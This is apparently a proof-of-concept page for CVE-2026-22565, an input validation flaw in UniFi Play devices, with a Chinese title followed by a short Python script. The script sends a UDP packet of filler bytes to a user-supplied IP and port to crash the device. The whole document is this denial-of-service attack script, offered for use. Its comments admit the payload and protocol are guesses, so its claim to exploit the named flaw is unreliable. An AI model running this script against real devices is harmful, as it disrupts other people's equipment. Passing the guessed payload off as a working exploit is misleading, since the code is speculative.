CVE-2026-22565 UniFi Play输入验证不当漏洞

# CVE-2026-22565 PoC (Conceptual) # This script demonstrates a potential DoS exploit by sending malformed data. # Target: UniFi Play devices import socket import sys def send_malformed_packet(ip, port): try: # Construct a payload that triggers the input validation flaw # Note: The actual payload structure depends on the specific protocol implementation payload = b"\x00\x01\x02\x03" + b"\x41" * 1000 # Example buffer overflow pattern print(f"[*] Sending payload to {ip}:{port}...") # Assuming UDP protocol based on typical IoT device communication sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (ip, port)) sock.close() print("[+] Payload sent successfully. Check if the device has stopped responding.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2026_22565_poc.py <IP> <PORT>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_malformed_packet(target_ip, target_port)